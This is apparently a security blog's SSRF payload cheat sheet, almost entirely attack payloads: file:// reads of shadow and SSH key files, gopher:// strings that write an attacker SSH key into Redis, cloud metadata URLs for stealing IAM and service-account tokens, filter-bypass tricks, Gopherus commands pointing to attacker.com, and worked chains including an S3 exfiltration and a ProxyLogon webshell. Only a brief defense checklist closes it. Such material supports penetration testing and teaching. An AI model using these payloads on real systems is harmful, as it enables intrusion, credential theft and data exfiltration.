SSRF Payload Cheatsheet: Cloud Metadata, Protocols & Bypass Techniques | Tağmaç - root@Tagoletta:~#

SSRF Payload Cheatsheet: Cloud Metadata, Protocols & Bypass Techniques

Thu May 28 2026

Category: Cheatsheet

Scope: Full SSRF payload reference from basic probing to cloud credential theft. For a real-world AWS IAM token exfiltration chain, see SSRF to Cloud Credentials.


Basic Detection Probes

http://127.0.0.1/
http://localhost/
http://0.0.0.0/
http://[::1]/
http://0/
http://127.1/
http://127.0.1/
http://2130706433/        (127.0.0.1 in decimal)
http://0x7f000001/        (127.0.0.1 in hex)
http://017700000001/      (127.0.0.1 in octal)
http://127.0.0.1:80/
http://127.0.0.1:443/
http://127.0.0.1:22/      (SSH banner grab)
http://127.0.0.1:6379/    (Redis)
http://127.0.0.1:5432/    (PostgreSQL)
http://127.0.0.1:3306/    (MySQL)
http://127.0.0.1:27017/   (MongoDB)
http://127.0.0.1:9200/    (Elasticsearch)
http://127.0.0.1:8080/    (alt HTTP)
http://127.0.0.1:8443/    (alt HTTPS)

Use a Burp Collaborator / interactsh URL to detect blind SSRF:

http://your-collaborator-id.oastify.com/
https://your-collaborator-id.oastify.com/

Protocol Handlers

file://

file:///etc/passwd
file:///etc/shadow
file:///etc/hosts
file:///etc/hostname
file:///proc/self/environ
file:///proc/self/cmdline
file:///proc/self/maps
file:///proc/version
file:///var/log/apache2/access.log
file:///var/log/nginx/access.log
file:///home/user/.ssh/id_rsa
file:///home/user/.ssh/authorized_keys
file:///root/.ssh/id_rsa
file:///root/.bash_history
file:///app/config/database.yml        (Rails)
file:///app/.env                       (Node.js / Laravel)
file:///var/www/html/wp-config.php     (WordPress)
file:///C:/Windows/win.ini             (Windows)
file:///C:/inetpub/wwwroot/web.config  (IIS)

dict://

dict://127.0.0.1:6379/INFO           (Redis INFO)
dict://127.0.0.1:6379/CONFIG:GET:*   (Redis CONFIG)
dict://127.0.0.1:11211/stats         (Memcached stats)
dict://127.0.0.1:25/EHLO:attacker    (SMTP banner)

gopher://

Allows sending raw TCP payloads — powerful for protocol smuggling.

# Redis — unauthenticated flush and set
gopher://127.0.0.1:6379/_FLUSHALL%0D%0A
gopher://127.0.0.1:6379/_SET%20key%20value%0D%0A

# Redis — write SSH key for RCE
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2460%0D%0A%0A%0Assh-rsa%20AAAA...attacker_key...%0A%0A%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2411%0D%0A%2Froot%2F.ssh%2F%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A

# MySQL — unauthenticated query (no auth)
gopher://127.0.0.1:3306/_%00%00%00%01%85%a6%3f%20%00%00%00%01%21%00%00%00...

# SMTP — send email
gopher://127.0.0.1:25/_EHLO%20localhost%0AMAIL%20FROM%3A%3Chattacker%40attacker.com%3E%0ARCPT%20TO%3A%3Cvictim%40victim.com%3E%0ADATA%0AFrom%3A%20attacker%0ASubject%3A%20SSRF%0A%0AContent%0A.%0AQUIT%0A

# FastCGI — RCE via PHP-FPM
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00...

# Memcached
gopher://127.0.0.1:11211/_%0astats%0a

ftp://

ftp://127.0.0.1/
ftp://internal-server/secret.txt
ftp://user:pass@internal-ftp/

sftp:// / tftp:// / ldap://

sftp://attacker.com:2222/         (blind SSRF detection)
tftp://attacker.com:69/test       (UDP — blind detection)
ldap://attacker.com:389/          (blind SSRF detection)
ldaps://attacker.com:636/
ldap://127.0.0.1:389/dc=target,dc=com

jar://

jar:http://attacker.com/evil.jar!/

Cloud Instance Metadata

AWS (EC2 / ECS / Lambda)

IMDSv1 (no token required):

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-ipv4
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/placement/region
http://169.254.169.254/latest/meta-data/network/interfaces/macs/

IAM Credential Response (IMDSv1):

{
  "Code": "Success",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2026-01-01T00:00:00Z"
}

IMDSv2 (requires PUT token — bypass via SSRF header injection):

# Step 1: Get token (PUT request — needs SSRF that supports method control)
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
→ Returns: TOKEN_VALUE

# Step 2: Use token
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
Header: X-aws-ec2-metadata-token: TOKEN_VALUE

ECS Task Metadata:

http://169.254.170.2/v2/credentials/<UUID>
http://169.254.170.2/v2/metadata
$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI  (check env first)

Lambda:

http://127.0.0.1:9001/2018-06-01/runtime/invocation/next
$AWS_ACCESS_KEY_ID, $AWS_SECRET_ACCESS_KEY in process environment

GCP (Google Cloud)

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env   (GKE)
http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys

Required header: Metadata-Flavor: Google

If SSRF doesn't allow custom headers, some misconfigurations allow without it.

Azure

http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net
http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01
http://169.254.169.254/metadata/instance/network?api-version=2021-02-01

# Azure IMDS v2 alternative
http://169.254.169.254/metadata/attested/document?api-version=2020-09-01

Required header: Metadata: true

DigitalOcean

http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address
http://169.254.169.254/metadata/v1/interfaces/private/0/ipv4/address

Alibaba Cloud

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://100.100.100.200/latest/meta-data/ram/security-credentials/<ROLE_NAME>
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/hostname
http://100.100.100.200/latest/user-data

Oracle Cloud

http://169.254.169.254/opc/v2/instance/
http://169.254.169.254/opc/v2/identity/
http://169.254.169.254/opc/v1/instance/

Linode / Akamai Cloud

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/v1/

IBM Cloud

http://169.254.169.254/metadata/v1/token
http://169.254.169.254/metadata/v1/instance

Kubernetes & Container Environments

Kubernetes API Server

https://kubernetes.default.svc/
https://kubernetes.default.svc/api/v1/
https://kubernetes.default.svc/api/v1/namespaces/
https://kubernetes.default.svc/api/v1/pods
https://kubernetes.default.svc/api/v1/secrets
https://10.96.0.1/api/v1/secrets           (default cluster IP range)

# Service Account token usually at:
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
file:///var/run/secrets/kubernetes.io/serviceaccount/namespace

Docker API (Unix socket via SSRF)

http://localhost:2375/info
http://localhost:2375/containers/json
http://localhost:2375/images/json
http://localhost:2376/info     (TLS port)

etcd (Kubernetes backing store)

http://127.0.0.1:2379/version
http://127.0.0.1:2379/v2/keys/
http://127.0.0.1:2379/v3/kv/range      (gRPC — via gopher)

Internal Service Scanning

Use SSRF to map internal network and services:

# Common targets on 127.0.0.1 / 192.168.x.x / 10.x.x.x / 172.16-31.x.x
http://internal-host:80/
http://internal-host:8080/
http://internal-host:8443/
http://internal-host:8888/     (Jupyter Notebook)
http://internal-host:9200/     (Elasticsearch — /_cat/indices)
http://internal-host:5601/     (Kibana)
http://internal-host:6379/     (Redis)
http://internal-host:5432/     (PostgreSQL)
http://internal-host:3306/     (MySQL)
http://internal-host:27017/    (MongoDB)
http://internal-host:11211/    (Memcached)
http://internal-host:2181/     (ZooKeeper)
http://internal-host:4848/     (GlassFish admin)
http://internal-host:7001/     (WebLogic)
http://internal-host:7002/     (WebLogic SSL)
http://internal-host:8161/     (ActiveMQ)
http://internal-host:61616/    (ActiveMQ queue)
http://internal-host:4567/     (Jenkins alt)
http://internal-host:50000/    (Jenkins agent)
http://internal-host:8500/     (Consul)
http://internal-host:8200/     (Vault)
http://internal-host:9090/     (Prometheus)
http://internal-host:3000/     (Grafana)
http://internal-host:15672/    (RabbitMQ management)
http://internal-host:2375/     (Docker daemon)

SSRF Bypass Techniques

IP Obfuscation

# Decimal
http://2130706433/        → 127.0.0.1
http://3232235521/        → 192.168.0.1

# Hex
http://0x7f000001/        → 127.0.0.1
http://0x7f.0x00.0x00.0x01/

# Octal
http://0177.0000.0000.0001/   → 127.0.0.1
http://017700000001/

# Mixed format
http://0177.0.0.1/
http://127.0.0x1/

# IPv6 mapped IPv4
http://[::ffff:127.0.0.1]/
http://[::ffff:7f00:0001]/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://[::1]/               → IPv6 loopback

# Short notation
http://127.1/               → 127.0.0.1
http://127.0.1/             → 127.0.0.1

URL Encoding

http://%31%32%37%2e%30%2e%30%2e%31/   → 127.0.0.1
http://127.0.0.1%[email protected]/     → host confusion
http://attacker.com%23.target.com/    → fragment bypass
http://%6c%6f%63%61%6c%68%6f%73%74/  → localhost (hex encoded)

URL Parser Confusion

# Username trick — URL parses as: user=127.0.0.1, host=attacker.com
http://[email protected]/

# Fragment confusion (depends on parser)
http://attacker.com#127.0.0.1/

# Slash confusion
http://attacker.com/http://127.0.0.1/
http://attacker.com\.127.0.0.1/

# @ sign ambiguity
http://[email protected]/

DNS-Based Bypasses

# DNS rebinding — resolves to 127.0.0.1 after initial check
# Use: https://lock.cmpxchg8b.com/rebinder.html
http://rebind.attacker.com/

# Wildcard DNS pointing to 127.0.0.1
http://localtest.me/             → 127.0.0.1
http://127.0.0.1.nip.io/        → 127.0.0.1
http://spoofed.burpcollaborator.net/

# Own domain A record → 127.0.0.1
http://internal.attacker.com/    (attacker controls DNS → 127.0.0.1)

Open Redirect Chaining

# If target follows redirects
https://target.com/redirect?url=http://169.254.169.254/

# 302 from attacker-controlled server
Location: http://169.254.169.254/latest/meta-data/

# Chained via URL shortener on trusted domain
https://trusted-domain.com/short/abc → http://169.254.169.254/

Protocol Confusion

# Scheme case variation
HTTP://127.0.0.1/
HTTPS://127.0.0.1/
hTTp://127.0.0.1/

# Double-slash
http:///127.0.0.1/
http:////127.0.0.1/

# Protocol-relative
//127.0.0.1/

Header Injection for SSRF

When the target accepts headers that define internal URLs:

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Forwarded-Host: metadata.google.internal
Host: 169.254.169.254
X-Original-URL: http://127.0.0.1/admin
X-Custom-IP-Authorization: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1

SNI / Host Header Bypass

# If SSRF checks Host header but follows SNI
GET / HTTP/1.1
Host: 169.254.169.254
SNI: trusted-domain.com

Blind SSRF Detection

No response body? Detect via:

Burp Collaborator / interactsh:

http://attacker-collaborator-id.oastify.com/
http://attacker-collaborator-id.interactsh.com/

OAST via DNS:

http://ssrf.attacker.com/   (watch DNS logs)

Port timing difference:

# Open port → faster response
# Closed port → connection refused immediately
# Filtered port → timeout (5+ seconds)
Use timing difference to map internal network

File-based oracle (if app saves fetched content):

http://127.0.0.1/admin   → if app stores/displays fetched URL's response
file:///etc/passwd        → visible in downloaded file or error

SSRF → RCE Chains

SSRF → Redis (gopher://) → CRON write → RCE
SSRF → FastCGI (gopher://) → PHP execution → RCE
SSRF → Memcached → Object injection → RCE
SSRF → Cloud metadata → IAM creds → S3 write → RCE
SSRF → Kubernetes API → create pod → RCE
SSRF → Docker API → exec container → RCE
SSRF → Jenkins (unauth) → Groovy script → RCE
SSRF → Elasticsearch → script execution → RCE

Tools

Tool Purpose Command
Burp Suite Intercept & test SSRF params Manual + Collaborator
interactsh Blind SSRF OOB detection interactsh-client
SSRFmap Automated SSRF exploitation python ssrfmap.py -r req.txt -p url
Gopherus Generate gopher:// payloads python gopherus.py --exploit redis
SSRF Sheriff Internal testing framework
Nuclei Template-based SSRF scanning nuclei -t ssrf/ -u https://target.com

Gopherus Payloads

# Redis RCE (cron job)
python gopherus.py --exploit redis --lhost attacker.com --lport 4444

# MySQL
python gopherus.py --exploit mysql --uname root --qry "SELECT ..."

# FastCGI → PHP RCE
python gopherus.py --exploit fastcgi --file /var/www/html/index.php --cmd "id"

# SMTP
python gopherus.py --exploit smtp --mail-from [email protected] --mail-to [email protected] --helo localhost

Real-World Examples

CVE / Incident Year Product Impact
Capital One Breach 2019 AWS EC2 SSRF via IMDSv1 → IAM credential theft → 100M records exfiltrated
CVE-2021-22214 2021 GitLab SSRF in Webhooks → internal service access
CVE-2021-22175 2021 GitLab SSRF → Gitaly internal gRPC access
CVE-2019-11043 2019 PHP-FPM + Nginx SSRF + Nginx misconfig → RCE
CVE-2021-26855 2021 Exchange Server (ProxyLogon) SSRF → auth bypass → RCE
CVE-2022-1388 2022 F5 BIG-IP iControl REST SSRF-like auth bypass → RCE
Twitch Breach 2021 Internal infrastructure SSRF used to pivot internal network
HackerOne — Shopify 2019 Shopify Partner Dashboard SSRF → internal GCP metadata → service account tokens

CTF Machines

  • HTB: Sink — SSRF via HTTP Request Smuggling → internal service access → secret manager
  • HTB: Bolt — SSRF in image downloader → internal Redis
  • HTB: Unobtainium — SSRF + prototype pollution chain
  • HTB: Rebound — SSRF to internal SMTP → credential capture
  • PentesterLab — AWS SSRF labs (IMDSv1 and v2 bypass)
  • flaws.cloud — Multi-level AWS SSRF challenge (highly recommended)

Bug Bounty Highlights

  • Orange Tsai — SSRF via Apache mod_rewrite (2024): Confusion attack chain leading to SSRF, ranked #1 web hacking technique of 2024 — see the writeup
  • HackerOne — Gitlab (2021): SSRF chain → internal network scan → $20,000
  • HackerOne — Yahoo Mail (2015): SSRF in image proxy → internal service scan → $4,000

Example: Capital One Breach (2019) — Exact Chain

# Step 1: Attacker finds SSRF in WAF endpoint running on EC2
GET /index.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Response: "isrm-WAF-Role"

# Step 2: Grab temporary IAM credentials
GET /index.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/isrm-WAF-Role
# Response: AccessKeyId, SecretAccessKey, Token

# Step 3: Use stolen credentials to list S3 buckets
aws configure --profile stolen
# Enter AccessKeyId, SecretAccessKey, Token from above

aws s3 ls --profile stolen
aws s3 sync s3://target-bucket/ ./exfil/ --profile stolen

Example: CVE-2021-26855 — ProxyLogon SSRF (Exchange)

# SSRF to reach internal Exchange backend, bypassing auth
GET /owa/auth/x.js HTTP/1.1
Host: mail.victim.com
Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3;
        X-BEResource=localhost/owa/auth/logon.aspx?~3;

# Then abuse CVE-2021-27065 to write a webshell
POST /ecp/DDI/DDIService.svc/GetObject HTTP/1.1
{"filter":{"Parameters":{"__RequestVerificationToken":"TOKEN",
 "ExternalUrl":"http://f/{.aspx_webshell_content}"}}}

# Access webshell
GET /owa/auth/shell.aspx?cmd=whoami

Example: HTB: Sink — SSRF via Request Smuggling

# Smuggle internal request through HAProxy
POST / HTTP/1.1
Host: sink.htb
Content-Length: 200
Transfer-Encoding: chunked

0

GET /notes HTTP/1.1
Host: 172.20.0.1
X-Forwarded-For: 127.0.0.1

# The smuggled request reaches internal Localstack at 172.20.0.1
# Retrieve AWS secrets
curl -s http://172.20.0.1:4566/secretsmanager/list-secrets \
     -H "X-Amz-Target: secretsmanager.ListSecrets" \
     -H "Content-Type: application/x-amz-json-1.1" -d '{}'

Defense Checklist

  • Whitelist allowed destination hosts/IPs — deny by default
  • Block requests to 169.254.x.x, 10.x.x.x, 172.16-31.x.x, 127.x.x.x
  • Disable unnecessary URL schemes (file://, gopher://, dict://, ftp://)
  • Resolve DNS server-side and validate the resolved IP
  • Enable IMDSv2 on AWS (requires PUT token — harder to abuse)
  • Use cloud service accounts with least privilege
  • Apply network-level egress filtering

References